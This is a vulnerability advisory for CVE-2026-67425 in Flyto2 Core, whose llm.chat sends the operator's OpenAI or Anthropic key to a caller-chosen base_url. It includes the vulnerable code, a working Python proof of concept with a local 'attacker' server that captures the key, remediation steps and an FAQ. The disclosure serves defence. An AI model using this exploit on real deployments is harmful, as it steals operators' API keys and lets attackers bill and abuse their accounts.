CVE-2026-67425: Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url
Summary
llm.chat reads the operator's provider key from the environment (OPENAIAPIKEY, ANTHROPICAPIKEY, ...) and sends it in the Authorization: Bearer header to baseurl, a parameter the caller controls. baseurl is only checked against the SSRF guard, and the guard allows any public host, so pointing baseurl at an attacker's server hands them the operator's key. flyto-core's own bounty scale rates "environment access exposing secrets (e.g. ANTHROPICAPIKEY)" as High.
Affected code
src/core/modules/atomic/llm/chat.py (callopenai):
python baseurl = params.get('baseurl') # caller-controlled if baseurl: validateurlwithenvconfig(baseurl) # SSRF check only; a public attacker host passes if not apikey: apikey = os.getenv('OPENAIAPIKEY') # operator's key ... url = (baseurl or "https://api.openai.com/v1").rstrip('/') + "/chat/completions" headers = {"Authorization": f"Bearer {apikey}"} await client.post(url, headers=headers, json=payload) # sent to baseurl
The same wiring (env key plus caller endpoint) exists in ai.model (which does not even SSRF-check baseurl), llm.agent, and vector.connector (QDRANTAPIKEY with a caller url). The SSRF guard is the wrong control here: it stops private targets but does nothing about the key being sent to an attacker's public host.
Reproduction
Save as keyexfilpoc.py, run with PYTHONPATH=src/src python keyexfilpoc.py. It sets an operator key in the environment and points baseurl at a local capture server.
python #!/usr/bin/env python3 import asyncio import os import threading from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["OPENAIAPIKEY"] = "sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a" os.environ["FLYTOALLOWEDHOSTS"] = "localhost" # stand-in for the attacker's public host CAPTURED = {}
class Attacker(BaseHTTPRequestHandler): def doPOST(self): CAPTURED["auth"] = self.headers.get("Authorization") ln = int(self.headers.get("Content-Length", 0)); self.rfile.read(ln) b = b'{"choices":[{"message":{"content":"pwned"},"finishreason":"stop"}],"usage":{"totaltokens":1}}' self.sendresponse(200); self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(b))); self.endheaders(); self.wfile.write(b) def logmessage(self, a): pass
async def main(): from core.modules.atomic import registerall from core.modules.registry import ModuleRegistry registerall() threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Attacker).serveforever, daemon=True).start() res = await ModuleRegistry.execute("llm.chat", params={ "prompt": "hi", "provider": "openai", "baseurl": "http://localhost:8080", }, context={}) print("module ok:", res.get("ok")) print("Authorization received by attacker:", CAPTURED.get("auth"))
if name == "main": asyncio.run(main())
Output:
module ok: True Authorization received by attacker: Bearer sk-OPERATOR-SECRET-doNotLeak-9f8e7d6c5b4a
Confirmed against the running API as well: calling llm.chat with baseurl=https://example.com was not blocked by the SSRF guard, so the request egressed to the public host with the operator key attached.
Impact
Theft of the operator's cloud LLM / vector-DB keys, which lets the attacker bill and abuse those accounts and reach data available to the key. The caller only needs to influence baseurl, which is reachable through the MCP agent surface or the hosted API.
Suggested fix
Only use the environment-derived key with the provider's official endpoint. If the caller supplies a custom baseurl, require them to supply the apikey explicitly too, or check baseurl against an allowlist of trusted endpoints — never auto-attach the operator's secret to an arbitrary host. Apply the same to ai.model, llm.agent and vector.connector, and add SSRF validation to ai.model's baseurl.
Other sources
Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.6, llm.chat reads provider keys such as OPENAIAPIKEY and ANTHROPICAPIKEY from the environment and sends them in the Authorization: Bearer header to caller-controlled baseurl, allowing an attacker to receive the operator's key on a public host that passes the SSRF guard. This issue is fixed in version 2.26.6.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/flyto-coreto a version that resolves this vulnerability.Fixed in 2.26.7 - Upgrade
Upgrade
Flyto2 Coreto a version that resolves this vulnerability.Fixed in 2.26.6 - Configuration
For ai.model (and similarly for llm.chat/llm.agent/vector.connector as described), when the caller supplies a custom base_url, require the caller to supply the api_key explicitly and/or validate base_url against an allowlist of trusted endpoints; do not auto-attach the operator's secret Authorization header to arbitrary caller-controlled base_url. In particular, ensure ai.model enforces the base_url allowlist/validation (it does not SSRF-check base_url per the text) so attacker-controlled public hosts cannot receive the operator key.
ai.model base_url = allowlist/require api_key - Configuration
Modify llm.chat so that provider keys read from environment (e.g., OPENAI_API_KEY/ANTHROPIC_API_KEY) are not sent in Authorization: Bearer to caller-controlled base_url values that are not on a trusted allowlist. The issue is that llm.chat posts to url derived from base_url and attaches headers containing the operator's env key to attacker-controlled public hosts.
llm.chat Authorization header behavior = do not send operator environment key to arbitrary base_url - Configuration
Do not rely on the SSRF guard alone for base_url security: the text states the guard allows any public host, so add/strengthen control to prevent exfiltration by either require caller-supplied api_key when base_url is custom, and/or enforce base_url allowlist of trusted endpoints.
llm.chat SSRF guard = insufficient
Event History
Frequently Asked Questions
What is the severity of CVE-2026-67425?
CVE-2026-67425 has a high severity rating of 8.6.
How do I fix CVE-2026-67425?
To fix CVE-2026-67425, upgrade to Flyto2 Core version 2.26.6 or later.
What types of keys are exposed in CVE-2026-67425?
CVE-2026-67425 exposes llm.chat provider keys, including OPENAI_API_KEY and ANTHROPIC_API_KEY.
What is the impact of CVE-2026-67425?
The impact of CVE-2026-67425 is that attacker-controlled base URLs can receive sensitive API keys.
What is the vulnerability type of CVE-2026-67425?
CVE-2026-67425 is classified as a Server-Side Request Forgery (SSRF) vulnerability.